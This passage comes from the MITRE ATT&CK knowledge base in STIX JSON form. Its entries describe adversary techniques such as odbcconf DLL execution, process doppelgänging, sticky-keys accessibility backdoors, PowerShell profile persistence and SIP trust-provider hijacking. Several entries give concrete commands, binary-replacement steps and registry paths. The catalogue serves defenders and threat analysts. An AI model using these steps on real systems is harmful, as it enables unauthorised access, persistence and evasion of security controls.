2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.(Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to impair defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.(Citation: FSecure Hupigon)(Citation: Symantec Ushedix June 2008)",
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            "x_mitre_deprecated": false,
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            "type": "attack-pattern",
            "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
            "created": "2020-01-24T15:01:32.917Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/008",
                    "external_id": "T1218.008"
                },
                {
                    "source_name": "TrendMicro Squiblydoo Aug 2017",
                    "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/"
                },
                {
                    "source_name": "TrendMicro Cobalt Group Nov 2017",
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
                },
                {
                    "source_name": "LOLBAS Odbcconf",
                    "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"
                },
                {
                    "source_name": "Microsoft odbcconf.exe",
                    "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017"
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            "name": "Odbcconf",
            "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
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            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968",
            "created": "2020-10-02T16:50:12.809Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1593/002",
                    "external_id": "T1593.002"
                },
                {
                    "source_name": "SecurityTrails Google Hacking",
                    "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
                    "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
                },
                {
                    "source_name": "ExploitDB GoogleHacking",
                    "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
                    "url": "https://www.exploit-db.com/google-hacking-database"
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            "modified": "2025-10-24T17:48:55.709Z",
            "name": "Search Engines",
            "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
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                    "phase_name": "reconnaissance"
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            "type": "attack-pattern",
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            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1177",
                    "external_id": "T1177"
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                {
                    "source_name": "Microsoft Security Subsystem",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/cc961760.aspx"
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                    "source_name": "Microsoft LSA Protection Mar 2014",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
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                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Microsoft DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
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            "created": "2020-10-02T16:27:55.713Z",
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                    "url": "https://attack.mitre.org/techniques/T1591/002",
                    "external_id": "T1591.002"
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                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
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            "modified": "2025-10-24T17:48:55.897Z",
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                    "url": "https://attack.mitre.org/techniques/T1548/005",
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                    "source_name": "AWS PassRole",
                    "description": "AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html"
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                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
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                {
                    "source_name": "Google Cloud Just in Time Access 2023",
                    "description": "Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023.",
                    "url": "https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project"
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                    "description": "Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023.",
                    "url": "https://cloud.google.com/iam/docs/service-account-permissions"
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                    "description": "Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange"
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                    "source_name": "Azure Just in Time Access 2023",
                    "description": "Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access"
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                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
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                {
                    "source_name": "Rhino Google Cloud Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved September 21, 2023.",
                    "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"
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                {
                    "source_name": "Hunters Domain Wide Delegation Google Workspace 2023",
                    "description": "Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.",
                    "url": "https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover"
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                {
                    "source_name": "Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023",
                    "description": "Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/"
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            "name": "Temporary Elevated Cloud Access",
            "description": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)",
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                    "source_name": "objective-see 2017 review",
                    "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
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                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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                {
                    "source_name": "Clearing quarantine attribute",
                    "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.",
                    "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/"
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                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
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                    "source_name": "Bypassing Gatekeeper",
                    "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.",
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                    "source_name": "Wikipedia Exe Compression",
                    "description": "Executable compression. (n.d.). Retrieved December 4, 2014.",
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                    "source_name": "ESET FinFisher Jan 2018",
                    "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
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                {
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
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                {
                    "source_name": "Microsoft Basic TxF Concepts",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
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                    "source_name": "Microsoft TxF",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
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                    "source_name": "Microsoft Where to use TxF",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
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            "name": "Process Doppelg\u00e4nging",
            "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
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            "created": "2017-05-31T21:30:27.342Z",
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                    "source_name": "Mandiant APT41 Global Intrusion ",
                    "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.",
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                    "source_name": "Trellix Rnasomhouse 2024",
                    "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
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                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "name": "System Network Configuration Discovery",
            "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.(Citation: Trellix Rnasomhouse 2024)\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ",
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            "created": "2020-06-16T17:23:06.508Z",
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                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
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                    "source_name": "GitHub Cloud Service Credentials",
                    "description": "Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/"
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            "created": "2020-03-13T11:12:18.558Z",
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                    "source_name": "mozilla_sec_adv_2012",
                    "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
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                    "source_name": "Executable Installers are Vulnerable",
                    "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
                    "url": "https://seclists.org/fulldisclosure/2015/Dec/34"
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                {
                    "source_name": "Narrator Accessibility Abuse",
                    "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.",
                    "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"
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                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
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                    "source_name": "DEFCON2016 Sticky Keys",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
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                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
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            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
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            "id": "attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e",
            "created": "2024-09-25T13:44:35.412Z",
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                    "url": "https://attack.mitre.org/techniques/T1496/002",
                    "external_id": "T1496.002"
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                {
                    "source_name": "Sysdig Proxyjacking",
                    "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
                    "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
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                {
                    "source_name": "Unit 42 Leaked Environment Variables 2024",
                    "description": "Margaret Kelley, Sean Johnstone, William Gamazo, and Nathaniel Quist. (2024, August 15). Leaked Environment Variables Allow Large-Scale Extortion Operation in Cloud Environments. Retrieved September 25, 2024.",
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                    "source_name": "GoBotKR",
                    "description": "Zuzana Hromcov\u00e1. (2019, July 8). Malicious campaign targets South Korean users with backdoor\u2011laced torrents. Retrieved March 31, 2022.",
                    "url": "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/"
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            "description": "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024)\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim\u2019s bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)",
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                    "url": "https://attack.mitre.org/techniques/T1504",
                    "external_id": "T1504"
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                {
                    "source_name": "Microsoft About Profiles",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
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                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                {
                    "source_name": "Wits End and Shady PowerShell Profiles",
                    "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
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                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
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            "name": "PowerShell Profile",
            "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
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                {
                    "source_name": "Microsoft Authenticode",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx"
                },
                {
                    "source_name": "Microsoft WinVerifyTrust",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
                },
                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                },
                {
                    "source_name": "EduardosBlog SIPs July 2008",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
                },
                {
                    "source_name": "Microsoft Catalog Files and Signatures April 2017",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
                },
                {
                    "source_name": "GitHub SIP POC Sept 2017",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
                },
                {
                    "source_name": "Entrust Enable CAPI2 Aug 2017",
                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"
                },
                {
                    "source_name": "Microsoft Registry Auditing Aug 2016",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
                },
                {
                    "source_name": "Microsoft Audit Registry July 2012",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
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            "name": "SIP and Trust Provider Hijacking",
            "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg 